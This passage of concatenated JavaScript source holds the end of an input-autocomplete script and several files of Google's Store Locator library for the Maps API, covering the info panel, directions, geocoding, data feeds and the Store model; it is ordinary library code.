SuggestFramework_Suggestions[instance][SuggestFramework_SuggestionsIndex[instance]]; SuggestFramework_Previous[instance] = SuggestFramework_InputContainer[instance].value; SuggestFramework_HideOutput(instance); /* submit form after selecting */ document.forms[0].submit(); }; function SuggestFramework_SelectNext(instance) { SuggestFramework_SetTextSelectionRange(instance); if(typeof(SuggestFramework_Suggestions[instance][(SuggestFramework_SuggestionsIndex[instance] + 1)]) != "undefined") { if(typeof(SuggestFramework_Suggestions[instance][SuggestFramework_SuggestionsIndex[instance]]) != "undefined") document.getElementById(SuggestFramework_Name[instance] + "Suggestions[" + SuggestFramework_SuggestionsIndex[instance] + "]").className = "SuggestFramework_Normal"; SuggestFramework_SuggestionsIndex[instance]++; SuggestFramework_Highlight(instance, SuggestFramework_SuggestionsIndex[instance]); } }; function SuggestFramework_SelectPrevious(instance) { SuggestFramework_SetTextSelectionRange(instance); if(typeof(SuggestFramework_Suggestions[instance][(SuggestFramework_SuggestionsIndex[instance] - 1)]) != "undefined") { if(typeof(SuggestFramework_Suggestions[instance][SuggestFramework_SuggestionsIndex[instance]]) != "undefined") document.getElementById(SuggestFramework_Name[instance] + "Suggestions[" + SuggestFramework_SuggestionsIndex[instance] + "]").className = "SuggestFramework_Normal"; SuggestFramework_SuggestionsIndex[instance]--; SuggestFramework_Highlight(instance, SuggestFramework_SuggestionsIndex[instance]); } }; function SuggestFramework_SetTextSelectionRange(instance, start, end) { if(!start) var start = SuggestFramework_InputContainer[instance].value.length; if(!end) var end = SuggestFramework_InputContainer[instance].value.length; if(SuggestFramework_InputContainer[instance].setSelectionRange) { SuggestFramework_InputContainer[instance].setSelectionRange(start, end); } else if(SuggestFramework_InputContainer[instance].createTextRange) { var selection = SuggestFramework_InputContainer[instance].createTextRange(); selection.moveStart("character", start); selection.moveEnd("character", end); selection.select(); } }; function SuggestFramework_ShowOutput(instance) { if(typeof(SuggestFramework_Suggestions[instance]) != "undefined" && SuggestFramework_Suggestions[instance].length) SuggestFramework_OutputContainer[instance].style.display = "block"; }; function SuggestFramework_Suggest(instance, list) { SuggestFramework_Suggestions[instance] = list; SuggestFramework_SuggestionsIndex[instance] = -1; SuggestFramework_OutputContainer[instance].innerHTML = ""; var table = '<table class="SuggestFramework_Combo" cellspacing="0" cellpadding="0">'; if(SuggestFramework_Heading[instance] && SuggestFramework_Suggestions[instance].length) { var heading = SuggestFramework_Suggestions[instance].shift(); var thead = '<thead>'; var headingContainer = '<tr>'; for(var i = 0; i < SuggestFramework_Columns[instance]; i++) { var value = ((SuggestFramework_Columns[instance] > 1) ? heading[i] : heading); var column = '<td class="SuggestFramework_Heading"'; if(SuggestFramework_Columns[instance] > 1 && i == SuggestFramework_Columns[instance] - 1) column += ' style="text-align: right"'; column += '>' + value.trim() + '</td>'; headingContainer += column; } headingContainer += '</tr>'; thead += headingContainer; thead += '</thead>'; table += thead; } var tbody = '<tbody>'; for(var i in SuggestFramework_Suggestions[instance]) { var suggestionContainer = '<tr id="' + SuggestFramework_Name[instance] + 'Suggestions[' + i + ']">'; for(var j = 0; j < SuggestFramework_Columns[instance]; j++) { var value = ((SuggestFramework_Columns[instance] > 1) ? SuggestFramework_Suggestions[instance][i][j] : SuggestFramework_Suggestions[instance][i]); var column = '<td class="SuggestFramework_Normal"'; if(SuggestFramework_Columns[instance] > 1 && j == SuggestFramework_Columns[instance] - 1) column += ' style="text-align: right"'; column += '>' + value.trim() + '</td>'; suggestionContainer += column; } suggestionContainer += '</tr>'; table += suggestionContainer; } tbody += '</tbody>'; table += tbody; table += '</table>'; SuggestFramework_OutputContainer[instance].innerHTML = table; for(var i in SuggestFramework_Suggestions[instance]) { var row = document.getElementById(SuggestFramework_Name[instance] + 'Suggestions[' + i + ']'); row.onmouseover = new Function("SuggestFramework_Highlight(" + instance + ", " + i + ")"); row.onmousedown = new Function("SuggestFramework_SelectThis(" + instance + ", " + i + ")"); } SuggestFramework_ShowOutput(instance); }; function SuggestFramework_Throttle(instance) { setTimeout("SuggestFramework_Query(" + instance + ")", SuggestFramework_Delay[instance]); }; function initializeSuggestFramework() { function getAttributeByName(node, attributeName) { if(typeof(NamedNodeMap) != "undefined") { if(node.attributes.getNamedItem(attributeName)) return node.attributes.getNamedItem(attributeName).value; } else { return node.getAttribute(attributeName); } } var inputElements = document.getElementsByTagName("input"); try { for(var instance = 0; instance < inputElements.length; instance++) { if(getAttributeByName(inputElements[instance], "name") && getAttributeByName(inputElements[instance], "type") == "text" && getAttributeByName(inputElements[instance], "action")) { SuggestFramework_Action[instance] = getAttributeByName(inputElements[instance], "action"); SuggestFramework_Capture[instance] = 1; SuggestFramework_Columns[instance] = 1; SuggestFramework_Delay[instance] = 1000; SuggestFramework_Heading[instance] = false; SuggestFramework_Name[instance] = getAttributeByName(inputElements[instance], "name"); if(getAttributeByName(inputElements[instance], "capture")) SuggestFramework_Capture[instance] = getAttributeByName(inputElements[instance], "capture"); if(getAttributeByName(inputElements[instance], "columns")) SuggestFramework_Columns[instance] = getAttributeByName(inputElements[instance], "columns"); if(getAttributeByName(inputElements[instance], "delay")) SuggestFramework_Delay[instance] = getAttributeByName(inputElements[instance], "delay"); if(getAttributeByName(inputElements[instance], "heading")) SuggestFramework_Heading[instance] = getAttributeByName(inputElements[instance], "heading"); SuggestFramework_Create(instance); } } } catch(e) {} }; // External var SuggestFramework_Action = new Array(); var SuggestFramework_Capture = new Array(); // Default = 1; var SuggestFramework_Columns = new Array(); // Default = 1; var SuggestFramework_Delay = new Array(); // Default = 1000; var SuggestFramework_Heading = new Array(); // Default = false; var SuggestFramework_Name = new Array(); // Internal var SuggestFramework_Connection = new Array(); var SuggestFramework_InputContainer = new Array(); var SuggestFramework_OutputContainer = new Array(); var SuggestFramework_Previous = new Array(); var SuggestFramework_Proxy = new Array(); var SuggestFramework_Suggestions = new Array(); var SuggestFramework_SuggestionsIndex = new Array();
JavaScript
// Copyright 2012 Google Inc. /** * @author Chris Broadfoot (Google) * @fileoverview * An info panel, which complements the map view of the Store Locator. * Provides a list of stores, location search, feature filter, and directions. */ /** * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * An info panel, to complement the map view. * Provides a list of stores, location search, feature filter, and directions. * @example <pre> * var container = document.getElementById('panel'); * var panel = new storeLocator.Panel(container, { * view: view, * locationSearchLabel: 'Location:' * }); * google.maps.event.addListener(panel, 'geocode', function(result) { * geocodeMarker.setPosition(result.geometry.location); * }); * </pre> * @extends {google.maps.MVCObject} * @param {!Node} el the element to contain this panel. * @param {storeLocator.PanelOptions} opt_options * @constructor * @implements storeLocator_Panel */ storeLocator.Panel = function(el, opt_options) { this.el_ = $(el); this.el_.addClass('storelocator-panel'); this.settings_ = $.extend({ 'locationSearch': true, 'locationSearchLabel': 'Where are you?', 'featureFilter': true, 'directions': true, 'view': null }, opt_options); this.directionsRenderer_ = new google.maps.DirectionsRenderer({ draggable: true }); this.directionsService_ = new google.maps.DirectionsService; this.init_(); }; storeLocator['Panel'] = storeLocator.Panel; storeLocator.Panel.prototype = new google.maps.MVCObject; /** * Initialise the info panel * @private */ storeLocator.Panel.prototype.init_ = function() { var that = this; this.itemCache_ = {}; if (this.settings_['view']) { this.set('view', this.settings_['view']); } this.filter_ = $('<form class="storelocator-filter"/>'); this.el_.append(this.filter_); if (this.settings_['locationSearch']) { this.locationSearch_ = $('<div class="location-search"><h4>' + this.settings_['locationSearchLabel'] + '</h4><input></div>'); this.filter_.append(this.locationSearch_); if (typeof google.maps.places != 'undefined') { this.initAutocomplete_(); } else { this.filter_.submit(function() { var search = $('input', that.locationSearch_).val(); that.searchPosition(/** @type {string} */(search)); }); } this.filter_.submit(function() { return false; }); google.maps.event.addListener(this, 'geocode', function(place) { if (!place.geometry) { that.searchPosition(place.name); return; } this.directionsFrom_ = place.geometry.location; if (that.directionsVisible_) { that.renderDirections_(); } var sl = that.get('view'); sl.highlight(null); var map = sl.getMap(); if (place.geometry.viewport) { map.fitBounds(place.geometry.viewport); } else { map.setCenter(place.geometry.location); map.setZoom(13); } sl.refreshView(); that.listenForStoresUpdate_(); }); } if (this.settings_['featureFilter']) { // TODO(cbro): update this on view_changed this.featureFilter_ = $('<div class="feature-filter"/>'); var allFeatures = this.get('view').getFeatures().asList(); for (var i = 0, ii = allFeatures.length; i < ii; i++) { var feature = allFeatures[i]; var checkbox = $('<input type="checkbox"/>'); checkbox.data('feature', feature); $('<label/>').append(checkbox).append(feature.getDisplayName()) .appendTo(this.featureFilter_); } this.filter_.append(this.featureFilter_); this.featureFilter_.find('input').change(function() { var feature = $(this).data('feature'); that.toggleFeatureFilter_(/** @type {storeLocator.Feature} */(feature)); that.get('view').refreshView(); }); } this.storeList_ = $('<ul class="store-list"/>'); this.el_.append(this.storeList_); if (this.settings_['directions']) { this.directionsPanel_ = $('<div class="directions-panel"><form>' + '<input class="directions-to"/>' + '<input type="submit" value="Find directions"/>' + '<a href="#" class="close-directions">Close</a>' + '</form><div class="rendered-directions"></div></div>'); this.directionsPanel_.find('.directions-to').attr('readonly', 'readonly'); this.directionsPanel_.hide(); this.directionsVisible_ = false; this.directionsPanel_.find('form').submit(function() { that.renderDirections_(); return false; }); this.directionsPanel_.find('.close-directions').click(function() { that.hideDirections(); }); this.el_.append(this.directionsPanel_); } }; /** * Toggles a particular feature on/off in the feature filter. * @param {storeLocator.Feature} feature The feature to toggle. * @private */ storeLocator.Panel.prototype.toggleFeatureFilter_ = function(feature) { var featureFilter = this.get('featureFilter'); featureFilter.toggle(feature); this.set('featureFilter', featureFilter); }; /** * Global Geocoder instance, for convenience. * @type {google.maps.Geocoder} * @private */ storeLocator.geocoder_ = new google.maps.Geocoder; /** * Triggers an update for the store list in the Panel. Will wait for stores * to load asynchronously from the data source. * @private */ storeLocator.Panel.prototype.listenForStoresUpdate_ = function() { var that = this; var view = /** @type storeLocator.View */(this.get('view')); if (this.storesChangedListener_) { google.maps.event.removeListener(this.storesChangedListener_); } this.storesChangedListener_ = google.maps.event.addListenerOnce(view, 'stores_changed', function() { that.set('stores', view.get('stores')); }); }; /** * Search and pan to the specified address. * @param {string} searchText the address to pan to. */ storeLocator.Panel.prototype.searchPosition = function(searchText) { var that = this; var request = { address: searchText, bounds: this.get('view').getMap().getBounds() }; storeLocator.geocoder_.geocode(request, function(result, status) { if (status != google.maps.GeocoderStatus.OK) { //TODO(cbro): proper error handling return; } google.maps.event.trigger(that, 'geocode', result[0]); }); }; /** * Sets the associated View. * @param {storeLocator.View} view the view to set. */ storeLocator.Panel.prototype.setView = function(view) { this.set('view', view); }; /** * view_changed handler. * Sets up additional bindings between the info panel and the map view. */ storeLocator.Panel.prototype.view_changed = function() { var sl = /** @type {google.maps.MVCObject} */ (this.get('view')); this.bindTo('selectedStore', sl); var that = this; if (this.geolocationListener_) { google.maps.event.removeListener(this.geolocationListener_); } if (this.zoomListener_) { google.maps.event.removeListener(this.zoomListener_); } if (this.idleListener_) { google.maps.event.removeListener(this.idleListener_); } var center = sl.getMap().getCenter(); var updateList = function() { sl.clearMarkers(); that.listenForStoresUpdate_(); }; //TODO(cbro): somehow get the geolocated position and populate the 'from' box. this.geolocationListener_ = google.maps.event.addListener(sl, 'load', updateList); this.zoomListener_ = google.maps.event.addListener(sl.getMap(), 'zoom_changed', updateList); this.idleListener_ = google.maps.event.addListener(sl.getMap(), 'idle', function() { return that.idle_(sl.getMap()); }); updateList(); this.bindTo('featureFilter', sl); if (this.autoComplete_) { this.autoComplete_.bindTo('bounds', sl.getMap()); } }; /** * Adds autocomplete to the input box. * @private */ storeLocator.Panel.prototype.initAutocomplete_ = function() { var that = this; var input = $('input', this.locationSearch_)[0]; this.autoComplete_ = new google.maps.places.Autocomplete(input); if (this.get('view')) { this.autoComplete_.bindTo('bounds', this.get('view').getMap()); } google.maps.event.addListener(this.autoComplete_, 'place_changed', function() { google.maps.event.trigger(that, 'geocode', this.getPlace()); }); }; /** * Called on the view's map idle event. Refreshes the store list if the * user has navigated far away enough. * @param {google.maps.Map} map the current view's map. * @private */ storeLocator.Panel.prototype.idle_ = function(map) { if (!this.center_) { this.center_ = map.getCenter(); } else if (!map.getBounds().contains(this.center_)) { this.center_ = map.getCenter(); this.listenForStoresUpdate_(); } }; /** * @const * @type {string} * @private */ storeLocator.Panel.NO_STORES_HTML_ = '<li class="no-stores">There are no' + ' stores in this area.</li>'; /** * @const * @type {string} * @private */ storeLocator.Panel.NO_STORES_IN_VIEW_HTML_ = '<li class="no-stores">There are' + ' no stores in this area. However, stores closest to you are' + ' listed below.</li>'; /** * Handler for stores_changed. Updates the list of stores. * @this storeLocator.Panel */ storeLocator.Panel.prototype.stores_changed = function() { if (!this.get('stores')) { return; } var view = this.get('view'); var bounds = view && view.getMap().getBounds(); var that = this; var stores = this.get('stores'); var selectedStore = this.get('selectedStore'); this.storeList_.empty(); if (!stores.length) { this.storeList_.append(storeLocator.Panel.NO_STORES_HTML_); } else if (bounds && !bounds.contains(stores[0].getLocation())) { this.storeList_.append(storeLocator.Panel.NO_STORES_IN_VIEW_HTML_); } var clickHandler = function() { view.highlight(this['store'], true); }; // TODO(cbro): change 10 to a setting/option for (var i = 0, ii = Math.min(10, stores.length); i < ii; i++) { var storeLi = stores[i].getInfoPanelItem(); storeLi['store'] = stores[i]; if (selectedStore && stores[i].getId() == selectedStore.getId()) { $(storeLi).addClass('highlighted'); } if (!storeLi.clickHandler_) { storeLi.clickHandler_ = google.maps.event.addDomListener( storeLi, 'click', clickHandler); } that.storeList_.append(storeLi); } }; /** * Handler for selectedStore_changed. Highlights the selected store in the * store list. * @this storeLocator.Panel */ storeLocator.Panel.prototype.selectedStore_changed = function() { $('.highlighted', this.storeList_).removeClass('highlighted'); var that = this; var store = this.get('selectedStore'); if (!store) { return; } this.directionsTo_ = store; this.storeList_.find('#store-' + store.getId()).addClass('highlighted'); if (this.settings_['directions']) { this.directionsPanel_.find('.directions-to') .val(store.getDetails().title); } var node = that.get('view').getInfoWindow().getContent(); var directionsLink = $('<a/>') .text('Directions') .attr('href', '#') .addClass('action') .addClass('directions'); // TODO(cbro): Make these two permanent fixtures in InfoWindow. // Move out of Panel. var zoomLink = $('<a/>') .text('Zoom here') .attr('href', '#') .addClass('action') .addClass('zoomhere'); var streetViewLink = $('<a/>') .text('Street view') .attr('href', '#') .addClass('action') .addClass('streetview'); directionsLink.click(function() { that.showDirections(); return false; }); zoomLink.click(function() { that.get('view').getMap().setOptions({ center: store.getLocation(), zoom: 16 }); }); streetViewLink.click(function() { var streetView = that.get('view').getMap().getStreetView(); streetView.setPosition(store.getLocation()); streetView.setVisible(true); }); $(node).append(directionsLink).append(zoomLink).append(streetViewLink); }; /** * Hides the directions panel. */ storeLocator.Panel.prototype.hideDirections = function() { this.directionsVisible_ = false; this.directionsPanel_.fadeOut(); this.featureFilter_.fadeIn(); this.storeList_.fadeIn(); this.directionsRenderer_.setMap(null); }; /** * Shows directions to the selected store. */ storeLocator.Panel.prototype.showDirections = function() { var store = this.get('selectedStore'); this.featureFilter_.fadeOut(); this.storeList_.fadeOut(); this.directionsPanel_.find('.directions-to').val(store.getDetails().title); this.directionsPanel_.fadeIn(); this.renderDirections_(); this.directionsVisible_ = true; }; /** * Renders directions from the location in the input box, to the store that is * pre-filled in the 'to' box. * @private */ storeLocator.Panel.prototype.renderDirections_ = function() { var that = this; if (!this.directionsFrom_ || !this.directionsTo_) { return; } var rendered = this.directionsPanel_.find('.rendered-directions').empty(); this.directionsService_.route({ origin: this.directionsFrom_, destination: this.directionsTo_.getLocation(), travelMode: google.maps['DirectionsTravelMode'].DRIVING //TODO(cbro): region biasing, waypoints, travelmode }, function(result, status) { if (status != google.maps.DirectionsStatus.OK) { // TODO(cbro): better error handling return; } var renderer = that.directionsRenderer_; renderer.setPanel(rendered[0]); renderer.setMap(that.get('view').getMap()); renderer.setDirections(result); }); }; /** * featureFilter_changed event handler. */ storeLocator.Panel.prototype.featureFilter_changed = function() { this.listenForStoresUpdate_(); }; /** * Fired when searchPosition has been called. This happens when the user has * searched for a location from the location search box and/or autocomplete. * @name storeLocator.Panel#event:geocode * @param {google.maps.PlaceResult|google.maps.GeocoderResult} result * @event */ /** * Fired when the <code>Panel</code>'s <code>view</code> property changes. * @name storeLocator.Panel#event:view_changed * @event */ /** * Fired when the <code>Panel</code>'s <code>featureFilter</code> property * changes. * @name storeLocator.Panel#event:featureFilter_changed * @event */ /** * Fired when the <code>Panel</code>'s <code>stores</code> property changes. * @name storeLocator.Panel#event:stores_changed * @event */ /** * Fired when the <code>Panel</code>'s <code>selectedStore</code> property * changes. * @name storeLocator.Panel#event:selectedStore_changed * @event */ /** * @example see storeLocator.Panel * @interface */ storeLocator.PanelOptions = function() {}; /** * Whether to show the location search box. Default is true. * @type boolean */ storeLocator.prototype.locationSearch; /** * The label to show above the location search box. Default is "Where are you * now?". * @type string */ storeLocator.PanelOptions.prototype.locationSearchLabel; /** * Whether to show the feature filter picker. Default is true. * @type boolean */ storeLocator.PanelOptions.prototype.featureFilter; /** * Whether to provide directions. Deafult is true. * @type boolean */ storeLocator.PanelOptions.prototype.directions; /** * The store locator model to bind to. * @type storeLocator.View */ storeLocator.PanelOptions.prototype.view;
JavaScript
// Copyright 2012 Google Inc. /** * @name Store Locator for Google Maps API V3 * @version 0.1 * @author Chris Broadfoot (Google) * @fileoverview * This library makes it easy to create a fully-featured Store Locator for * your business's website. */ /** * @license * * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * Namespace for Store Locator. * @constructor */ var storeLocator = function() {}; window['storeLocator'] = storeLocator; /** * Convert from degrees to radians. * @private * @param {number} degrees the number in degrees. * @return {number} the number in radians. */ storeLocator.toRad_ = function(degrees) { return degrees * Math.PI / 180; };
JavaScript
// Copyright 2013 Google Inc. /** * @author Chris Broadfoot (Google) * @fileoverview * Provides access to store data through Google Maps Engine. */ /** * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * A DataFeed where stores are provided by Google Maps Engine. * <p> * Note: the table that contains the stores needs to be publicly accessible. * @example <pre> * var dataFeed = new storeLocator.GMEDataFeed({ * tableId: '12421761926155747447-06672618218968397709', * apiKey: 'AIzaSyAtunhRg0VTElV-P7n4Agpm9tYlABQDCAM', * propertiesModifier: function(props) { * return { * id: transformId(props.store_id), * title: props.store_title * }; * } * }); * new storeLocator.View(map, dataFeed); * </pre> * @implements storeLocator.DataFeed * @param {!storeLocator.GMEDataFeedOptions} opts the table ID, API key and * a transformation function for feature/store properties. * @constructor * @implements storeLocator_GMEDataFeed */ storeLocator.GMEDataFeed = function(opts) { this.tableId_ = opts['tableId']; this.apiKey_ = opts['apiKey']; if (opts['propertiesModifier']) { this.propertiesModifier_ = opts['propertiesModifier']; } }; storeLocator['GMEDataFeed'] = storeLocator.GMEDataFeed; storeLocator.GMEDataFeed.prototype.getStores = function(bounds, features, callback) { // TODO: use features. var that = this; var center = bounds.getCenter(); var where = '(ST_INTERSECTS(geometry, ' + this.boundsToWkt_(bounds) + ')' + ' OR ST_DISTANCE(geometry, ' + this.latLngToWkt_(center) + ') < 20000)'; var url = 'https://www.googleapis.com/mapsengine/v1/tables/' + this.tableId_ + '/features?callback=?'; $.getJSON(url, { 'key': this.apiKey_, 'where': where, 'version': 'published', 'maxResults': 300 }, function(resp) { var stores = that.parse_(resp); that.sortByDistance_(center, stores); callback(stores); }); }; /** * @private * @param {!google.maps.LatLng} point * @return {string} */ storeLocator.GMEDataFeed.prototype.latLngToWkt_ = function(point) { return 'ST_POINT(' + point.lng() + ', ' + point.lat() + ')'; }; /** * @private * @param {!google.maps.LatLngBounds} bounds * @return {string} */ storeLocator.GMEDataFeed.prototype.boundsToWkt_ = function(bounds) { var ne = bounds.getNorthEast(); var sw = bounds.getSouthWest(); return [ "ST_GEOMFROMTEXT('POLYGON ((", sw.lng(), ' ', sw.lat(), ', ', ne.lng(), ' ', sw.lat(), ', ', ne.lng(), ' ', ne.lat(), ', ', sw.lng(), ' ', ne.lat(), ', ', sw.lng(), ' ', sw.lat(), "))')" ].join(''); }; /** * @private * @param {*} data GeoJSON feature set. * @return {!Array.<!storeLocator.Store>} */ storeLocator.GMEDataFeed.prototype.parse_ = function(data) { if (data['error']) { window.alert(data['error']['message']); return []; } var features = data['features']; if (!features) { return []; } var stores = []; for (var i = 0, row; row = features[i]; i++) { var coordinates = row['geometry']['coordinates']; var position = new google.maps.LatLng(coordinates[1], coordinates[0]); var props = this.propertiesModifier_(row['properties']); var store = new storeLocator.Store(props['id'], position, null, props); stores.push(store); } return stores; }; /** * Default properties modifier. Just returns the same properties passed into * it. Useful if the columns in the GME table are already appropriate. * @private * @param {Object} props * @return {Object} an Object to be passed into the "props" argument in the * Store constructor. */ storeLocator.GMEDataFeed.prototype.propertiesModifier_ = function(props) { return props; }; /** * Sorts a list of given stores by distance from a point in ascending order. * Directly manipulates the given array (has side effects). * @private * @param {google.maps.LatLng} latLng the point to sort from. * @param {!Array.<!storeLocator.Store>} stores the stores to sort. */ storeLocator.GMEDataFeed.prototype.sortByDistance_ = function(latLng, stores) { stores.sort(function(a, b) { return a.distanceTo(latLng) - b.distanceTo(latLng); }); }; /** * @example see storeLocator.GMEDataFeed * @interface */ storeLocator.GMEDataFeedOptions = function() {}; /** * The table's asset ID. * @type string */ storeLocator.GMEDataFeedOptions.prototype.tableId; /** * The API key to use for all requests. * @type string */ storeLocator.GMEDataFeedOptions.prototype.apiKey; /** * A transformation function. The first argument is the feature's properties. * Return an object useful for the <code>"props"</code> argument in the * storeLocator.Store constructor. The default properties modifier * function passes the feature straight through. * <p> * Note: storeLocator.GMEDataFeed expects an <code>"id"</code> property. * @type ?(function(Object): Object) */ storeLocator.GMEDataFeedOptions.prototype.propertiesModifier;
JavaScript
// Copyright 2012 Google Inc. /** * @author Chris Broadfoot (Google) * @fileoverview * Allows developers to specify a static set of stores to be used in the * storelocator. */ /** * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * A DataFeed with a static set of stores. Provides sorting of stores by * proximity and feature filtering (store must have <em>all</em> features from * the filter). * @example <pre> * var dataFeed = new storeLocator.StaticDataFeed(); * jQuery.getJSON('stores.json', function(json) { * var stores = parseStores(json); * dataFeed.setStores(stores); * }); * new storeLocator.View(map, dataFeed); * </pre> * @implements {storeLocator.DataFeed} * @constructor * @implements storeLocator_StaticDataFeed */ storeLocator.StaticDataFeed = function() { /** * The static list of stores. * @private * @type {Array.<storeLocator.Store>} */ this.stores_ = []; }; storeLocator['StaticDataFeed'] = storeLocator.StaticDataFeed; /** * This will contain a callback to be called if getStores was called before * setStores (i.e. if the map is waiting for data from the data source). * @private * @type {Function} */ storeLocator.StaticDataFeed.prototype.firstCallback_; /** * Set the stores for this data feed. * @param {!Array.<!storeLocator.Store>} stores the stores for this data feed. */ storeLocator.StaticDataFeed.prototype.setStores = function(stores) { this.stores_ = stores; if (this.firstCallback_) { this.firstCallback_(); } else { delete this.firstCallback_; } }; /** * @inheritDoc */ storeLocator.StaticDataFeed.prototype.getStores = function(bounds, features, callback) { // Prevent race condition - if getStores is called before stores are loaded. if (!this.stores_.length) { var that = this; this.firstCallback_ = function() { that.getStores(bounds, features, callback); }; return; } // Filter stores for features. var stores = []; for (var i = 0, store; store = this.stores_[i]; i++) { if (store.hasAllFeatures(features)) { stores.push(store); } } this.sortByDistance_(bounds.getCenter(), stores); callback(stores); }; /** * Sorts a list of given stores by distance from a point in ascending order. * Directly manipulates the given array (has side effects). * @private * @param {google.maps.LatLng} latLng the point to sort from. * @param {!Array.<!storeLocator.Store>} stores the stores to sort. */ storeLocator.StaticDataFeed.prototype.sortByDistance_ = function(latLng, stores) { stores.sort(function(a, b) { return a.distanceTo(latLng) - b.distanceTo(latLng); }); };
JavaScript
// Copyright 2012 Google Inc. /** * @author Chris Broadfoot (Google) * @fileoverview * Store model class for Store Locator library. */ /** * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * Represents a store. * @example <pre> * var latLng = new google.maps.LatLng(40.7585, -73.9861); * var store = new storeLocator.Store('times_square', latLng, null); * </pre> * <pre> * var features = new storeLocator.FeatureSet( * view.getFeatureById('24hour'), * view.getFeatureById('express'), * view.getFeatureById('wheelchair_access')); * * var store = new storeLocator.Store('times_square', latLng, features, { * title: 'Times Square', * address: '1 Times Square&lt;br>Manhattan, NY 10036' * }); * </pre> * <pre> * store.distanceTo(map.getCenter()); * * // override default info window * store.getInfoWindowContent = function() { * var details = this.getDetails(); * return '&lt;h1>' + details.title + '&lt;h1>' + details.address; * }; * </pre> * @param {string} id globally unique id of the store - should be suitable to * use as a HTML id. * @param {!google.maps.LatLng} location location of the store. * @param {storeLocator.FeatureSet} features the features of this store. * @param {Object.<string, *>=} props any additional properties. * <p> Recommended fields are: * 'title', 'address', 'phone', 'misc', 'web'. </p> * @constructor * @implements storeLocator_Store */ storeLocator.Store = function(id, location, features, props) { this.id_ = id; this.location_ = location; this.features_ = features || storeLocator.FeatureSet.NONE; this.props_ = props || {}; }; storeLocator['Store'] = storeLocator.Store; /** * Sets this store's Marker. * @param {google.maps.Marker} marker the marker to set on this store. */ storeLocator.Store.prototype.setMarker = function(marker) { this.marker_ = marker; google.maps.event.trigger(this, 'marker_changed', marker); }; /** * Gets this store's Marker * @return {google.maps.Marker} the store's marker. */ storeLocator.Store.prototype.getMarker = function() { return this.marker_; }; /** * Gets this store's ID. * @return {string} this store's ID. */ storeLocator.Store.prototype.getId = function() { return this.id_; }; /** * Gets this store's location. * @return {google.maps.LatLng} this store's location. */ storeLocator.Store.prototype.getLocation = function() { return this.location_; }; /** * Gets this store's features. * @return {storeLocator.FeatureSet} this store's features. */ storeLocator.Store.prototype.getFeatures = function() { return this.features_; }; /** * Checks whether this store has a particular feature. * @param {!storeLocator.Feature} feature the feature to check for. * @return {boolean} true if the store has the feature, false otherwise. */ storeLocator.Store.prototype.hasFeature = function(feature) { return this.features_.contains(feature); }; /** * Checks whether this store has all the given features. * @param {storeLocator.FeatureSet} features the features to check for. * @return {boolean} true if the store has all features, false otherwise. */ storeLocator.Store.prototype.hasAllFeatures = function(features) { if (!features) { return true; } var featureList = features.asList(); for (var i = 0, ii = featureList.length; i < ii; i++) { if (!this.hasFeature(featureList[i])) { return false; } } return true; }; /** * Gets additional details about this store. * @return {Object} additional properties of this store. */ storeLocator.Store.prototype.getDetails = function() { return this.props_; }; /** * Generates HTML for additional details about this store. * @private * @param {Array.<string>} fields the optional fields of this store to output. * @return {string} html version of additional fields of this store. */ storeLocator.Store.prototype.generateFieldsHTML_ = function(fields) { var html = []; for (var i = 0, ii = fields.length; i < ii; i++) { var prop = fields[i]; if (this.props_[prop]) { html.push('<div class="'); html.push(prop); html.push('">'); html.push(this.props_[prop]); html.push('</div>'); } } return html.join(''); }; /** * Generates a HTML list of this store's features. * @private * @return {string} html list of this store's features. */ storeLocator.Store.prototype.generateFeaturesHTML_ = function() { var html = []; html.push('<ul class="features">'); var featureList = this.features_.asList(); for (var i = 0, feature; feature = featureList[i]; i++) { html.push('<li>'); html.push(feature.getDisplayName()); html.push('</li>'); } html.push('</ul>'); return html.join(''); }; /** * Gets the HTML content for this Store, suitable for use in an InfoWindow. * @return {string} a HTML version of this store. */ storeLocator.Store.prototype.getInfoWindowContent = function() { if (!this.content_) { // TODO(cbro): make this a setting? var fields = ['title', 'address', 'phone', 'misc', 'web']; var html = ['<div class="store">']; html.push(this.generateFieldsHTML_(fields)); html.push(this.generateFeaturesHTML_()); html.push('</div>'); this.content_ = html.join(''); } return this.content_; }; /** * Gets the HTML content for this Store, suitable for use in suitable for use * in the sidebar info panel. * @this storeLocator.Store * @return {string} a HTML version of this store. */ storeLocator.Store.prototype.getInfoPanelContent = function() { return this.getInfoWindowContent(); }; /** * Keep a cache of InfoPanel items (DOM Node), keyed by the store ID. * @private * @type {Object} */ storeLocator.Store.infoPanelCache_ = {}; /** * Gets a HTML element suitable for use in the InfoPanel. * @return {Node} a HTML element. */ storeLocator.Store.prototype.getInfoPanelItem = function() { var cache = storeLocator.Store.infoPanelCache_; var store = this; var key = store.getId(); if (!cache[key]) { var content = store.getInfoPanelContent(); cache[key] = $('<li class="store" id="store-' + store.getId() + '">' 